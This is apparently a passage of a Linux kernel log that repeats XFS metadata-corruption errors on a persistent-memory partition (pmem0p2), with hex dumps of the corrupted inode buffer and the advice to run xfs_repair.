metadata buffer: [ 87.670828] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670829] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670830] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670830] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670831] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670833] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670834] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670841] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670842] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670843] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670843] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670844] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670845] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670846] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670847] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670848] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670850] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670860] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670861] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670862] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670863] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670864] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670865] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670866] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670867] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670868] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670869] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670917] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670918] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670919] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670920] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670921] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670922] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670923] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670924] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670925] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670927] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670934] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670935] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670935] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670936] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670937] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670938] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670939] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670940] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670941] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670942] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670953] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670954] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670955] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670956] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670957] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670958] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670959] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670960] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670962] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670963] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671036] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671037] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671038] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671039] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671040] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671041] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671042] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671043] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671045] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671046] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671053] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671054] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671055] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671056] ffff88040ed48000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671057] ffff88040ed48010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671058] ffff88040ed48020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671059] ffff88040ed48030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671060] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671061] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671063] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671083] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671084] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671085] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671086] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671087] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671088] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671089] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671090] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671091] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671093] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671137] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671139] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671140] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671141] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671142] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671142] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671143] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671144] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671146] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671147] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671154] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671156] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671156] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671157] ffff88040f7f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671158] ffff88040f7f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671159] ffff88040f7f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671160] ffff88040f7f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671161] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671162] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671164] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671175] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671176] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671177] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671178] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671178] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671179] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671181] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671182] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671183] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671185] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671225] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671226] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671227] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671229] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671230] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671231] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671232] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671233] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671234] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671235] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671242] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671243] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671245] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671246] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671247] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671247] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671248] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671249] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671251] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671252] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671262] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671263] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671264] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671265] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671266] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671267] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671268] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671269] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671270] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671272] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671311] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671312] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671313] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671314] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671315] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671316] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671317] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671319] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671321] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671323] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671333] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671334] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671335] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671336] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671337] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671338] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671339] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671340] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671342] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671343] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671355] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671356] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671356] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671357] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671358] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671360] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671361] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671362] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671363] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671364] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671405] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671406] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671407] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671408] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671409] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671410] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671411] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671412] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671413] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671415] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671422] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671423] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671424] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671425] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671426] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671427] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671428] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671429] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671430] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671431] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671442] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671443] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671444] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671446] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671447] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671448] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671448] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671449] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671451] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671452] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671506] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671508] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671508] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671509] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671510] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671511] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671512] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671513] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671515] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671516] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671523] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671524] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671525] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671526] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671527] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671528] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671529] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671530] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671531] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671533] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671552] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671553] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671554] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671555] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671556] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671557] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671558] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671559] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671560] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671562] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671604] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671605] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671606] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671607] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671608] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671609] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671610] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671611] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671612] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671613] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671620] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671621] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671622] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671623] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671624] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671625] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671626] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671627] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671628] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671629] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671640] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671642] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671643] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671644] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671644] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671645] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671646] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671647] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671649] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671650] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671689] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671690] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671691] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671692] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671694] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671695] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671696] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671697] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671698] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671699] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671706] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671707] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671708] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671710] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.671710] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.671711] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.671712] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.671713] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.671715] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.671716] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.671726] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.671727] XFS (pmem0p2): Unmount and run xfs_repair [ 87.671728] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.671729] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 